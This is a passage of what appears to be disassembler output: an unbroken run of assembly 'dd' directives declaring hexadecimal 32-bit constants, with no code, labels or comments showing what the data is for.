765634F5h dd 78A8E018h, 0CC4C00A8h, 9EFBB463h, 0E900ADE8h, 0E3D09AF4h dd 0FB173F09h, 71D812EDh, 28C800C2h, 2CBDD3B3h, 0E8C08D57h dd 1099E87Ah, 0ED3900BFh, 78E2D076h, 0DF00ACD2h, 3A66A0F4h dd 317B3D0Eh, 6E9867CBh, 455ED49Ah, 30002AECh, 436DB0FBh dd 1F7DD996h, 0C0BF3E75h, 3F6F4C86h, 77C4ABEh, 35AC8000h dd 0E09479C8h, 7ED705A4h dd 8187FE95h, 80E11A75h, 75FBEBB8h, 0E4E87CE2h, 53DA00A7h dd 64BE998h, 913D4EB5h, 231B008Bh, 78D91D56h, 0C9730045h dd 0C194F47Ah, 0A9300D28h, 461BA8E8h, 445100D6h, 0F1320FEBh dd 0B70AE4B0h, 0D89A8EAEh, 5934E880h, 3D31BF2h, 0DE0975D7h dd 20A8DCB0h, 5E0121EDh, 2065935h, 9E404EBFh, 85AE84h dd 9B935542h, 0F7F9189Ah, 0CB717B00h, 0F34FEC04h, 5CF0087h dd 0ACE5F295h, 0C80048B6h, 39A76B16h, 7202D212h, 0EEE660A4h dd 0CE459487h, 4C2F9F0Ah, 0F240602Bh, 3E4692F0h, 9E80CD6Ah dd 37F6F30Ch, 840EAF6Fh, 0E006BB7Fh, 7DF1C6D4h, 4423F762h dd 6B9DEB00h, 7557014Fh, 2BD94303h, 0F85ADA4Ch, 7007C88Fh dd 9A80A0B3h, 0BFB92404h, 87FF00C8h, 24941B42h, 28C07B15h dd 62768E48h, 40334D7Fh, 3DF0444h, 5B03A409h, 0FF804CDCh dd 0A7001730h, 0F0E89DA0h, 81D8BFh, 63CB41FAh, 0F5A8C19Ch dd 0C8F498A1h, 90001148h, 4F7CE366h, 0BD3DB4h, 46D1B3F6h dd 2570520Bh, 0E92FC700h, 78B48173h, 91621604h, 46F90053h dd 311EC42Bh, 3AFFF00Ah, 3592D023h, 0D91CCE00h, 0E73CB1Bh dd 90BC8C1Fh, 0B0119187h, 2ADBE4C7h, 17588A0h, 0EDC2BA00h dd 606D645Bh, 6CAD3AFDh, 0E8242183h, 7D136FBh, 0F432D4DCh dd 0B888C403h, 0FB3F1B04h, 94E6EAA1h, 7CB90094h, 73FC1C93h dd 313B704Fh, 0A16D09FFh, 0C1A3805Ch, 9649C6h, 0DF9046B4h dd 0E9CCB20Dh, 3BBAECE5h, 5D01977Ch, 0D9D4ACD5h, 0BD20FF30h dd 9EC100E2h, 0EA256DB3h, 517B765Ah, 1A947800h, 669B2802h dd 0CF43048Ah, 90C299EEh, 0B7C606F0h, 98A65B14h, 646F01C8h dd 27921153h, 98F2BDD4h, 8ED61348h, 863C4030h, 92748479h dd 6CBD40C1h, 87D05DC0h, 77E4E2A4h, 19973BF6h, 41104480h dd 48F28B1Eh, 0D9DF60F3h, 0BDF0A600h, 4FCD05ABh, 1A9D24D5h dd 945E50A0h, 0B0B8E44Ch, 62BDD95Ah, 8758601Bh, 691C6440h dd 0B4E42D00h, 0DBBF7020h, 2295008Eh, 0CF5CE06Bh, 9CA0EE27h dd 0D060DD13h, 3F2ECB60h, 0D33000C5h, 8D4F69Ch, 0A4E2B547h dd 6612CF00h, 645A97DBh, 0E00B15C1h, 5C513867h, 0D380DC23h dd 866F6D9Ah, 0B9BA2F00h, 0EC078DE5h, 0C0916098h, 8771995Fh dd 63905500h, 0FB06333Ch, 2A170022h, 4757ABB4h, 0A5017709h dd 99D26119h, 0ECF12037h, 148E3C20h, 0C0D487B1h, 5FCB3500h dd 431F21F8h, 76D25D00h, 3AB7B55h, 0E91B0017h, 366A165Ah dd 0CD1E8B0Dh, 32001328h, 0C420E130h, 4F800A6h, 3F1EDC6Ch dd 77011FEDh, 35A2436Fh, 36C17F7Dh, 50C09844h, 2A5E5Ah dd 830A315h, 94B1C2BCh, 0CC79300h, 0F71E7C75h, 490B032Eh dd 8C15C905h, 80200EA2h, 7E4E617Eh, 0C7F0A960h, 0D6EF2110h dd 7CD18F61h, 0F3E49026h, 29B41D5Ah, 36994079h, 452F38E1h dd 0D63B9F00h, 742431F4h, 0DBF53FE7h, 52D1A080h, 7C12E3DDh dd 0CC3D4A00h, 123FC93h, 0EDD905C1h, 43632B24h, 4A52CE4h dd 0C40091FCh, 0D357D51Dh, 0C87346B8h, 9C025B0Fh, 5FA7600Fh dd 0C96EA63h, 15452B35h, 6000DC24h, 13AF2DBDh, 0CE8C39Eh dd 0D6F2917Dh, 0C1141650h, 7CF48E34h, 77A2CF03h, 0FD1A3B8h dd 0DA57EE71h, 0EA480776h, 54600075h, 531C0DF2h, 0CC26AFFBh dd 1865584Ch, 0B898F564h, 0AC2A0433h, 4F039CC0h, 4D86B07Ch dd 47F2E797h, 866C434Ch, 581E5821h, 4A31DA80h, 0C400FD6Ch dd 0C06F7837h, 286195Ch, 1B99A9E0h, 95C0AC77h, 0D20BA04Eh dd 99DD6E8h, 9A30B490h, 61D703A0h, 961E3038h, 0CA01A000h dd 6FBDD1E9h, 904649ABh, 41AF7C00h, 33B3D581h, 726DE70Fh dd 20A581D8h, 75CC7322h, 65C0EB2h, 58402923h, 0DBFA307Ah dd 0E1695A00h, 0E81D3EB5h, 0A4275C20h, 0E195000h, 0D4D73BECh dd 0BC04C926h, 86802807h, 3856D1B0h, 0D28B3D84h, 0B78D1782h dd 18EAC4EFh, 850E8812h, 411253C0h, 8828699Ch, 1C2ED88Fh dd 75008C90h, 0F99103BBh, 609217h, 80278122h, 9B359041h dd 0B80F3924h, 84BDD50Ah, 7D8D8139h, 0F5FC1D96h, 0C5000826h dd 1316F89Eh, 0F0122297h, 4440DE4Dh, 89A40EC4h, 3CBC7F91h dd 0FA088Fh, 0C3629EAFh, 418DA61Dh, 1E40605Ch, 0BC8EBFh dd 7D148631h, 0A7BB967h, 40EB3908h, 0ED700044h, 60F533A4h dd 6BD1E600h, 40831E26h, 0F4E3F07h, 0ADA18C0Fh, 0E8CCC93Fh dd 0F2791049h, 0A675E880h, 0D4001170h, 0A128C821h, 4C85515Dh dd 0C3043CE9h, 9038EC7Dh, 2B1EE830h, 0C088C632h, 82D065E7h dd 514A4E9Ch, 489A79C1h, 43020DACh, 79DA953h, 72848095h dd 6E3CA4h, 85EBB57Ch, 0A16A9FABh, 84471312h, 0ECBD3440h dd 0E2876C2h, 3A222A69h, 0CC4AD8A2h, 0D2038CEBh, 8BF6DBDCh dd 0FC47F19Eh, 18722C75h, 0E5221371h, 0FB502002h, 0F800B570h dd 0D3678AFEh, 94A1A0EBh, 0D4A8E314h, 8251BDA9h, 0A5A04BF9h dd 430C4AE8h, 5207C870h, 0CFE50581h, 196D70Ah, 0FE721AE8h dd 1EE03A9Dh, 1D2CAE1Dh, 0E634DC6Dh, 0B21930B8h, 0B54D2032h dd 0F9F301F4h, 3783D534h, 30CCFFF5h, 7CA26115h, 70EBDE42h dd 0EF025F74h, 87142E2Ch, 619842A8h, 0F8809EBCh, 8E937848h dd 17A18BBh, 0DC7A48h, 1FE8F686h, 42E2DC2h, 0F2BBF0Ch dd 9B088026h, 0BD391E19h, 958600B7h, 654BA266h, 6A0B1D1Fh dd 0F0E44F9Dh, 3D1E27A0h, 0AF1875EDh, 0E3B0E7A5h, 0E0DA02D5h dd 0B8CEB582h, 0CBE144A0h, 2D169704h, 2852FE64h, 30C44089h dd 11A900DBh, 1945053Bh, 4E0A7513h, 0C8A2FF90h, 4A7BD073h dd 5ED01DCh, 53683BD8h, 88F503E5h, 20F779Bh, 0B0DB459Dh dd 0FC8094F6h, 3B3AC9E6h, 965D4101h, 0EF7C6436h, 0C100305Ah dd 359DE78Eh, 0DE004318h, 97A2B76Bh, 1C46057h, 8C50B9C2h dd 717B9AD7h, 1BC0B78h, 0D27A2E54h, 68FEC9ACh, 3DDBBB08h dd 34545E82h, 0C8FF4B2h, 0D37F5A4Dh, 6C2C29C8h, 0FF00B123h dd 4B480D3Dh, 42530B38h, 0F898435Fh, 0E898637Bh, 0E394DB00h dd 0C5C2752Ch, 0F4224F7h, 0CF970080h, 9BAF6932h, 0C030C029h dd 20E8130Bh, 0B9573648h, 0BEA7031Ah, 6F56F869h, 2C3F86A8h dd 540AAF2Ch, 1C167DE0h, 0BB15002Eh, 9BB2ECFCh, 0EA00FB51h dd 0A66ED7C0h, 91B9091h, 8CB3A364h, 80071444h, 99B50F03h dd 1FB47FD7h, 410028B2h, 122F2CC7h, 0A3137190h, 7481E498h dd 97C8BCB7h, 7098C2h, 0B495E644h, 0C8B1888Eh, 50B2EB72h dd 104FBB09h, 14EC4C61h, 3404C6C1h, 48540573h, 1C8B7D42h dd 0EA2494Ch, 986E9CC2h, 496EA400h, 0BF8AD996h, 0F4C949Ch dd 0DFE22DDBh, 3AE07C13h, 48F038F3h, 0BA88A600h, 0F6CE38Dh dd 0C9E72C63h, 5B100080h, 0C4AF8C23h, 1C071096h, 0FF507207h dd 1C5B6C6h, 0C9D7DA9Ch, 24862C80h, 0AD1C2694h, 1D00953Fh dd 84D25AB0h, 262C98E5h, 8130DB7Ah, 1BF9EA4Ch, 807038B4h dd 2CBDC3EBh, 0C48C4CABh, 0B4F03515h, 3EEF9D00h, 799A493Bh dd 10294D05h, 0B8401183h, 88468177h, 1F78B0FDh, 80317AA5h dd 64B25ABBh, 9C187861h, 942EF671h, 8D290056h, 9B2BCF67h dd 6C2EED66h, 0E300DBFBh, 0DB1A540Eh, 49870002h, 0EBCB8F69h dd 14F4AECAh, 0B86D6301h, 0A98BCD5h, 266A8840h, 2BEE02D2h dd 0AB61ADA4h, 7E225440h, 480C39FFh, 1F8C4414h, 0CD4C33F8h dd 149A0558h, 54DCF496h, 0C0BC2506h, 0F72BD080h, 31004C0Fh dd 77A413B9h, 25D384FBh, 70004219h, 1210F9ABh, 76DE8502h dd 0CE92BE25h, 21C50184h dd 0D5D94366h, 631031DDh, 8652C08Ch, 4C25F61h, 0B7ADAEE6h dd 50ECF1F8h, 0EF9AF368h, 0A5B45B0Eh, 290C5428h, 29006CCAh dd 0BE2EB10Dh, 0E0660099h, 7FD4F965h, 0A7587C86h, 0B8809318h dd 3A520299h, 588B0488h, 9880EF0Fh, 0BB6B4BBFh, 71F8FF00h dd 8FAEEC4Ah, 6CD90045h, 0F52248FEh, 332A82EDh, 508AB013h dd 0BA139066h, 342028FCh, 4B8DC53Eh, 890C4964h, 4B1994ACh dd 2D009498h, 88D74A73h, 0B8547Fh, 2407A1F2h, 7AB358C6h dd 0FFC2FB00h, 96F33225h, 6AE51F50h, 19313C1h, 0BCD4CF9Ch dd 0C605C0C3h, 7CE68500h, 0E99DDBCEh, 0E890A968h, 0F096868h dd 58C0CFC8h, 0B902D474h, 65916A78h, 0A38460D1h, 4ECD3F5Ch dd 0FC735C7Ch, 0BF3C8094h, 8FAF1F89h, 0A5E3E805h, 0B14C3098h dd 0D441E407h, 62003FEFh, 218DBD3h, 81E038A5h, 0D4A0C658h dd 51D060AAh, 6C00D873h, 76B13C43h, 9A08B40Dh, 86D709F0h dd 1020BB1Bh, 0B6D2676Ah, 0C6C2C900h, 6D53D98Eh, 0A9360F8Fh dd 640103Bh, 9FDD27AEh, 1C60EB4Ah, 0C0ADE673h, 7C5F2049h dd 762C5DB0h, 0EC029897h, 8413D5F2h, 1880BFF0h, 0BCA6EE3h dd 10B0C9BBh, 0EEFA380h, 2A030830h, 7E43895Fh, 4122D099h dd 939E00C2h, 0C0BB2DDFh, 0B80085B1h, 0CE47844Ah, 1434DBB4h dd 9B41ACCBh, 0AC83500h, 0D0C57B26h, 97691107h, 547029AFh dd 125844Ch, 6D05995Dh, 0EC1803FFh, 3B000B9Bh, 26095C1Ch dd 1C5B44FAh, 402A5663h, 78A55E3Eh, 3373C861h, 385813Ch dd 0D454B082h, 4FB9B879h, 0E9F100B6h, 0CC095F43h, 0CE3FA13Dh dd 105D30AFh, 1EE797h, 2EE60DE2h, 66484A62h, 0AB841800h dd 898356D6h, 6F3B00B3h, 0DFCFC152h, 9703704Bh, 548A77FFh dd 0D25EB825h, 0C19000C8h, 5F2E4A6Dh, 311F733Ah, 1E0163CFh dd 2D89AEB4h, 0CC72C0h, 56D5A7B2h, 30ED95DBh, 0E7659907h dd 0A231BC21h, 7BFC800Ah, 3566001Ch, 70DE7711h, 0F2093F71h dd 854D0304h, 24C099EFh, 63C7FBh, 0E7CFF716h, 0F0039087h dd 0F6758105h, 0C0AB41E2h, 13DE5604h, 11933B12h, 6500B4A8h dd 6CC80152h, 0E500A6C3h, 0A9CC493Ah, 7B3F7431h, 12DF01D5h dd 63507A20h, 95D30ACh, 0CD41B40Bh, 5CB980C4h, 4EE9EAh dd 0F05995B2h, 0BFE073AEh, 7C77F148h, 56D3C00h, 34C66E44h dd 521C008Dh, 26AFBE47h, 4E01EDEEh, 93028A2Ch, 0F30E216h dd 8E59000Eh, 0B647DEFBh, 0C300626Eh, 73AB23E3h, 3353648h dd 0CE0C4FCBh, 0AC90F3D7h, 2E0EE7E5h, 1F8C478Eh, 0F2DAD870h dd 917C004Dh, 0A4AAF7C9h, 0E503AE43h, 30F0FB1Ah, 0A08003B2h dd 8DEA8B03h, 0E0E78CF0h, 2DAF400h, 0C365A444h, 0F6B20014h dd 38B13B70h, 850CA11Ah, 70E8BF5Fh, 625D0164h, 9030EBE7h dd 4DA1810Dh, 5A82113Ch, 60BB04CCh, 0D9394964h, 3818452Eh dd 0F581168Fh, 9D85000Ah, 6C531EBDh, 20F27B0h, 2019A439h dd 2F9C7BCFh, 4250006Dh, 0A2581A6Ah, 97EA4DECh, 41D9B403h dd 7BC07E06h, 60A50759h, 307BD7AAh, 96C183F4h, 0B170CD31h dd 1FDC1AB4h, 5ED90077h, 40736BF6h, 2000E1Eh, 0BD231516h dd 987590h, 1CD94165h, 2B7EB00Fh, 7D97BA03h, 0B156CCh dd 0F36906B8h, 0A232DD63h, 6C57B207h, 0DB65EB59h, 889C9800h dd 307C6E0Ch, 24983901h, 307A4FEAh, 0AF0A82FDh, 45E01657h dd 0ABA48048h, 0EA69AF2Ah, 83974C00h, 5F6780D3h, 2D5A01BDh dd 616F6A8Eh, 93988A8Dh, 5884BC10h, 48C00F7Ch, 12C51CEh dd 80FBA4D8h, 50014E09h, 0C9C1EFC8h, 0F4771C0Fh, 0F154C06Bh dd 486F34C2h, 41293C5Eh, 64D105E8h, 0E9D84D8h, 0A1D8A7DCh dd 170DF7FFh, 0AEDF2E7Eh, 20F059B0h, 7707E705h, 0B04406CBh dd 86C7F370h, 83710074h, 7C6F5795h, 0CF3945A4h, 0FD4F17A7h dd 0D550A500h, 14E1E9h, 6181BA51h, 41EA3BF3h, 0FF014716h dd 0B2EF0Fh, 650AEE25h, 0FE680544h, 40A47197h, 3BB1CEECh dd 8300585Ch, 0E4C8FB50h, 16201B5Eh, 1F66DDh, 68E63ECFh dd 3B03165Bh, 0F075A799h, 0D0FF8810h, 27170D5h, 42BEEE30h dd 8F8123C8h, 34E71ACBh, 3A007538h, 0D91B7D65h, 7FB5957h dd 0C90F1FEAh, 537210BBh, 0F71E7C61h, 0D341227Ah, 0A11E2DAh dd 0EC8FC20h, 0CC04CEA9h, 9B517E5h, 0B820F3A8h, 54DBD1D3h dd 0A271CF05h, 64805B05h, 913A92B3h, 0C3BF4F0Ch, 0D5FA2C89h dd 0BF6FD201h, 64E1B9ABh, 3366D892h, 9391E6D8h, 224BDCEEh dd 0E08EB429h, 0C300802Ch, 0EF157838h, 9D101D53h, 192F4364h dd 0E7A0969Fh, 9401938Eh, 6DF64F65h, 74308CEEh, 849807h dd 0F185B61Dh, 0E4D83D22h, 8F43580Ch, 0BE5E84Dh, 40DAA14Eh dd 8CFE4080h, 53002213h, 2378C32Fh, 0BC02A80h, 0F0CCDF70h dd 0BDD95380h, 0E426527Eh, 12805C05h, 13E1C52Dh, 9FB42E23h dd 58B90DCBh, 0CDFED8E0h, 0E0864893h, 24A10B7Ch, 27F5DFh dd 9AEB068h, 0D0001825h, 2B346C7Fh, 3671961h, 84947CF9h dd 500063C9h, 8C3178D0h, 59488Fh, 0B39E567Bh, 928BEE9Ah dd 3C532078h, 0C6437838h, 0F408ED14h, 89AD9300h, 0DA3D3649h dd 0F85119CCh, 1D67A96h, 0AE150FE9h, 0D025AC1Ch, 0A8497185h dd 141A0060h, 346BF93Ah, 11620009h, 597237B3h, 210FA294h dd 41E1B04Fh, 0B8D78FDEh, 0A0D0A4DFh, 99FCA946h, 984C4FE8h dd 6B094811h, 20B587F8h, 1B5D3144h, 0E06CB0DFh, 46F0ABFh dd 70C05336h, 0F105E210h, 0AAE5D801h, 77DC44Fh, 4A001770h dd 0B8282B0Dh, 0CA270300h, 2A2080EBh, 0E738F5C0h, 0EE315F00h dd 51D1A21Eh, 5D4803DDh, 0AC453C17h, 0A8F233F0h, 7EE6DF09h dd 50FC0806h, 0D600EC24h, 0E843AEB2h, 294B2CFh, 0CE88A649h dd 8C471546h, 736940Eh, 23FEC3A5h, 98FD821Ah, 7C4910Dh dd 0B90F31E4h, 4B7E60D1h, 5C608486h, 0AE579068h, 2D8A0950h dd 301064D2h, 0BC016AD4h, 0EA420166h, 0C5D44C02h, 1F1400B5h dd 0FC13AE63h, 80C110CFh, 50437A81h, 59B032h, 80C7F661h dd 26B85533h, 0A714E808h, 890C7CAAh, 2681800Ah, 731E329h dd 9871E8DBh, 0C08F55B4h, 0EBA34618h, 79E2140Ah, 803DAC6Eh dd 0DC1AC9FFh, 48294912h, 180424CAh, 9017419Bh, 5390203Ch dd 8A583EE6h, 2AC6A0BCh, 42ED007Ch, 3F8906F8h, 0BF2AF34Eh dd 0AA53884Dh, 9C167DC4h, 0F700D013h, 999FD317h, 93C70FC6h dd 4780A153h, 85E1DA89h, 609D781Ch, 0F7B1D883h, 365D9854h dd 64485CB0h, 99D62F00h, 22DF9E68h, 4FC6811Dh, 2B339F07h dd 4A5FB2F0h, 663C3214h, 0A4C8B468h, 9040DEA5h, 0DD0A007Ah dd 860E40B6h, 54303FA1h, 3C0BF816h, 383A00E8h, 0D7628AF4h dd 7B51E4C0h, 7A5040B8h, 9900BCC1h, 8E2BE960h, 7FA0D6h dd 0E4B27906h, 8CF5121Ch, 83BAED00h, 4FD16620h, 0EA7C0078h dd 6A840F44h, 0A50134D3h, 74F350E8h, 7C62F0D6h, 0C018A169h dd 0FA2EABD1h, 0F8801447h, 8AC63BFCh, 0A45A48A4h, 0BC227700h dd 0A0F19361h, 0BE31ED0Bh, 801812D8h, 787C4C04h, 0DE760034h dd 0FCC96B70h, 4F26374Eh, 3A8018F3h, 7ED6F4A2h, 3BA0000Bh dd 0E5879CD9h, 0A47A7D72h, 0F4991D2Ah, 17CE913Bh, 480E9D55h dd 184321DAh, 0DCCC64BEh, 39283B3Eh, 8CCA3C80h, 7ED24BFAh dd 6A938C0h, 0C73EC727h, 10560CE8h, 6E6A490Eh, 586CC948h dd 0C670E788h, 2EB8F4B9h, 0C8C99Dh, 0B318FBB4h, 500EDB2h dd 9C2C3D70h, 85411Fh, 5BC73CEEh, 765DD20Eh, 903AA892h dd 693530ABh, 6CE7E4h dd 3C3E264Bh, 62400DD4h, 1878BB5Ch, 9369B62Fh, 3078B81Eh dd 0FD918EB2h, 0CE017C62h, 17AE6678h, 44F8C9DDh, 0D7910BC0h dd 78A0E7A0h, 0EEE26140h, 64D4B912h, 98223C35h, 4D12200Ah dd 0E0902F41h, 7C970CB1h, 48468023h, 60B04C30h, 0CD622BA3h dd 0DC8CDEB0h, 140800B3h, 0F3D7FC89h, 3261E899h, 0F61009DBh dd 59399FD6h, 65298FEFh, 105E600Bh, 966F02B0h, 0E6CB002Ch dd 6220B652h, 81582772h, 9C070078h, 1FF748FCh, 1389ECAEh dd 0C45D8E3h, 8790BA12h, 0B36D011Fh, 0AC219303h, 0C5B82E11h dd 98390B9Ah, 0A4075018h, 50E4021Dh, 0F0FBCBh, 791D2120h dd 12B90008h, 0E2C09AC1h, 36008E95h, 49133FAFh, 166ADAD4h dd 12348A22h, 81283299h, 0DADDF980h, 4C0A5623h, 0A874551Dh dd 7901386Ah, 0B01CF213h, 0F3811073h, 9CC94ED3h, 0D281B2C8h dd 0E91FEF1Ah, 5EB4B080h, 236B6D45h, 50E82F53h, 61060A14h dd 127D79FDh, 92370150h, 2D018ACAh, 2B99DCB9h, 5DC09C5Dh dd 0F7320BDCh, 0EE880552h, 30853C68h, 60597A31h, 0CD00D7A6h dd 0DEAE3C08h, 39D8BB20h, 89801978h, 3F3DBA33h, 6395699h dd 0C6A594A4h, 4F9600A0h, 5BBADD58h, 0C10051Fh, 0C2256075h dd 49C03197h, 6009F36h, 7FF18016h, 0E7B14Ch, 8D855DE5h dd 0BAE142CCh, 9B5A2300h, 36157BF3h, 0C29200EEh, 3EF51B19h dd 8B005CE3h, 2FE57FB7h, 30B42Ch, 6136A7AAh, 995AAB3Bh dd 6B40CF07h, 0CA9023BBh, 133C57ACh, 0D1FE88h, 6994F926h dd 0B507145Dh, 0D47D9993h, 83C19B64h, 67E8F18Ch, 33D70002h dd 2D763B04h, 6007EE6Bh, 72435F07h, 5DA93761h, 0D3AC740h dd 90E238E9h, 0CD1C4080h, 3D9C0593h, 6DE7B000h, 3B31A3D7h dd 86832859h, 390EA9Ch, 112A0A9h, 47C8EBEFh, 523E021Ch dd 0C8FF80B9h, 0FAD48BBBh, 0F89360A8h, 0A57832DBh, 79D0370Ah dd 7D602889h, 1C37044h, 20FEEF72h, 444313BCh, 2FA001CEh dd 0F4EDC82Bh, 0A80ECAF1h, 809D29DAh, 0AFA6FD8Dh, 0F8966EDCh dd 5AD662A7h, 3DF900D4h, 258506D5h, 73C83F60h, 0EACA992Bh dd 0B40330C7h, 0F63AEB99h, 0A9CF4D00h, 0B76579C3h, 0DAC40F9Dh dd 0AEC1C8D5h, 8045DF7Fh, 0FFE43170h, 175ED29h, 1B25DEC2h dd 80CD3D76h, 875F9F81h, 22DF8E1h, 0A9E9C9FDh, 0D8E0456Fh dd 0D0A6DD98h, 0AAF063Ah, 808405DBh, 0C6BC1702h, 784480CEh dd 39B4268h, 3C83DEF1h, 0E6E88280h, 9776646Dh, 2DDA9A00h dd 7C2F77DBh, 5DBE0057h, 0A4094116h, 0C829F8DEh, 1780E002h dd 586B5B44h, 1A8200BDh, 0D8FE2333h, 3B006AE3h, 900DDB14h dd 5DFD2ADh, 0FD6D7020h, 4F2AC087h, 5A008E94h, 145B6C83h dd 0D5E18Fh, 682E9F25h, 0E6BAE324h, 0D90A1000h, 944B4987h dd 0D8EF0797h, 0F0BF3EAEh, 29FA34A4h, 75745606h, 18B1B9h dd 126DB509h, 5866F9A7h, 0A3AC20h, 0CCDD3136h, 51A0508Ah dd 0D19BD306h, 884EB6h, 87A80E3Bh, 0FC7A3289h, 0B5C27C18h dd 2F7138h, 4D9D2ED3h, 0A8F53767h, 0D998DE00h, 2595B511h dd 4A8A035h, 0BF3F3964h, 18260CF5h, 0CA40AC0Fh, 0FC866E00h dd 0AAD839BCh, 848F16E5h, 0EE210049h, 0B2CDBE3Bh, 0F63F0901h dd 2B81334h, 0C0974860h, 0EC961A60h, 2200EA98h, 0EB8E3DE6h dd 35B86Fh, 0A609DA26h, 0B21DFE33h, 0D611DF00h, 9A080D6Ah dd 6D500018h, 3509BD77h, 1D98E32Eh, 0B37B800h, 0D4E7E907h dd 0CCFE9Eh, 0B72AE82Ch, 169AC02Fh, 1C211000h, 8A25B982h dd 3B8500C1h, 0DAC8018h, 5907D5B7h, 5458ED75h, 782645E1h dd 526BECh, 79781C9h, 25F406A7h, 50333900h, 15378CBFh dd 0B60102C6h, 0D719835Eh, 0A84E4075h, 1F717F6Ah, 0C0498DB1h dd 327C55BCh, 1600F628h, 0C3BFB91Dh, 0E1C50EBh, 0E68A0715h dd 575A0243h, 4005CDA8h, 800B4B3Ah, 718ED9BBh, 0B183DAFh dd 48A0EF21h, 9166460Eh, 9E004052h, 0C923D408h, 5123FC3h dd 0DD34950h, 0DAB40094h, 88A74DD9h, 0CCCA8E09h, 87AC0060h dd 3FA4B76h, 0DFFFF919h, 0E7908C01h, 6401B7D5h, 84792981h dd 0E4502C28h, 28C960E9h, 0E18F53h, 0E16E08Eh, 39F0EF4Fh dd 57FAD602h, 0A06297C2h, 3AE4F920h, 0C1213B52h, 2F389B0Ah dd 9C00DA28h, 0BD433852h, 0B4C0D50Fh, 0B66DE021h, 3C3517AFh dd 5080D7C1h, 0DE415C90h, 8B0066F7h, 593DA3A4h, 7A646385h dd 582F3C15h, 80319B07h, 30BC72B6h, 2D522840h, 98A71428h dd 0B89F9824h, 0CAF4E0A8h, 6DCB7019h, 1EF4AC80h, 8F8B014Dh dd 26D35324h, 2B57FCC4h, 0F020C600h, 0D4F643Fh, 5C0C0738h dd 3063AABDh, 2EEB44E2h, 9AD3F21Eh, 8B0C70A8h, 7143E908h dd 3DA90CBDh, 0BCF110FBh, 0DD8DE509h, 2E440064h, 3B357BBh dd 5DCA410Bh, 988C3B28h, 0A11E56BCh, 34829045h, 80692F80h dd 0DA510EF4h, 9D783ABCh, 0F8B7EF0Eh, 9AF909A0h, 0DB01F076h dd 2383BE7Dh, 4C465E47h, 0DCE480E0h, 13F100F6h, 0C541B7C9h dd 35EC069Dh, 1F49D000h, 0CDCB0757h, 0E89CA00Dh, 93480076h dd 0C0EC9C9Ah, 4A787896h, 914C1F00h, 0AF2D9CAh, 1CD40050h dd 298A7233h, 0F0F82B1Bh, 0F712C00Eh, 0FC6F0342h, 0A09ADC50h dd 4A6E7003h, 56987ED4h, 730664E8h, 869768DDh, 789188h dd 49C0BF4Eh, 333AEDADh, 1E0780CAh, 0A372EBBCh, 0FA673A4Fh dd 0EE01F740h, 954EF381h, 942017D9h, 14D60045h, 748769B4h dd 0EF48BC19h, 0DF2F00BCh, 79C6695h, 0B6551885h, 0A0B53896h dd 528D3412h, 0B3B06443h, 358580AAh, 0F22DF43Dh, 0F8B6017Bh dd 66E1954Dh, 0B9D6DC77h, 571D9E18h, 4D4597F1h, 9C0484F6h dd 90DDF8BAh, 5AD49DB8h, 0AB15F100h, 27B0F98Ah, 0D889497Ah dd 0FAC63E01h, 0D890BF51h, 4002EAE6h, 8A8141B6h, 247043A5h dd 9706C60h, 40212FF2h, 0FC9D9350h, 3A1F8118h, 0CF40C511h dd 0FD1C88D9h, 0E9040008h, 0E712706Dh, 0B749D6E4h, 55C0634h dd 60BD45h, 0D352DEC8h, 0FC422153h, 98F48EE8h, 0E300CEEAh dd 0B1D130B7h, 0D47C58h, 713486C3h, 0C9EC59A4h, 0B039C81Ch dd 0B8A1DA03h, 6840BFAAh, 7E23F8h, 0EF494A9Fh, 0E820EE31h dd 3095D11Dh, 3AC70AC0h, 7FF810B9h, 691073Dh, 80409A74h dd 4ED38FE9h, 0FE479B18h, 71273581h, 0C04D1C42h, 280F0086h dd 605DC169h, 0E0AD39h, 0DE653936h, 2491CF54h, 3DAB7358h dd 0BF0E8E80h, 14B75160h, 8B00A376h, 5035C111h, 0FF15F21h dd 3359F71Eh, 5DB8AC40h, 0B97A2D7Eh, 80464C3Fh, 9742371Dh dd 7D7A2AB3h, 614A002Ch, 853E6B4Fh, 280169D9h, 13019D96h dd 0B081FD5Ah, 0F5A230ECh, 4A4A80F6h, 0A69554B4h, 0F8580094h dd 6343118h, 3014EBFBh, 0A170DA5Bh, 208080B6h, 574E52AFh dd 0B02374h, 4AB4800h, 65BD4470h, 72692689h, 0F7D70075h dd 0D453D636h, 34649D28h, 0EDC67300h, 0FDBAF1DEh, 76532202h dd 0ACFA52E6h, 836B5503h, 41ECC5CFh, 0E000A091h, 4D8E32h dd 0D5535A39h, 0FE59CB52h, 0F16F2000h, 90412A3Eh, 0E71490F5h dd 40A904Bh, 24B4A0h, 0D7A1A32Bh, 0C93B4ABEh, 8851AB87h dd 0DCEBA830h, 19A1011Ch, 82E47E24h, 3B419493h, 0C2C60C98h dd 6BF845h, 27B7220Dh, 0DF52E535h, 4CD80702h, 94C563ADh dd 91FF09A8h, 5000E46Bh, 0B108ADF5h, 2D6F23Ah, 422FC9B6h dd 0A6C8B005h, 154A0767h, 409927B9h, 227F0840h, 9860BB00h dd 0FAAC120Eh, 0B6D003EDh, 0E8C04AB8h, 5B01A8E8h, 65406600h dd 0FC859690h, 7310000Bh dd 467FC39Bh, 8F0008BBh, 4A9E2707h, 28B32F0Fh, 16C5D201h dd 0AE722A0Eh, 6D070512h, 0CDF0AD46h, 569CD3h, 47F52E9Bh dd 0C059C993h, 9EB50500h, 0EF16973Bh, 0C71B007Dh, 0F504914h dd 1900F8DBh, 0C2002AFh, 0A0403A95h, 856C84h, 7781D0A8h dd 9FD67E3Ch, 8E76522Ch, 2F929400h, 9988C70h, 7D73044h dd 0FEAAC800h, 0C5FE8861h, 0D6320D00h, 7EDBD24Bh, 0CFA9012Ah dd 50EFB04h, 0A48247Ch, 0E5619D00h, 39F4B9D1h, 7063038Bh dd 3AEF6D5Ah, 30CEC0E9h, 0A530BC18h, 497C99CAh, 0E7B228DAh dd 88E403D0h, 0E9A944CFh, 0C5D829D8h, 423BED00h, 1CE3713h dd 0F987004Ah, 973A9E48h, 8973E1F5h, 68B53800h, 0C0CCF35Bh dd 74F80C3Dh, 6F70D015h, 0E29A6E0Eh, 0B08CE0DFh, 244AAA79h dd 81D0E3ABh, 0BA8D383Bh, 0CC8EE09Bh, 8BA83700h, 5C9ED039h dd 0F17D0668h, 70E5DE02h, 272F0E00h, 5BE4784Ch, 8F5611AEh dd 2637163Ah, 0BD8A5800h, 0A808FB45h, 0B8168Ch, 3E476474h dd 0E5CF5EEAh, 35C995Ch, 0A048F7FFh, 0ABEC802Ch, 0EFA10067h dd 93178744h, 9405CD0Ch, 0AAF596C5h, 446C5822h, 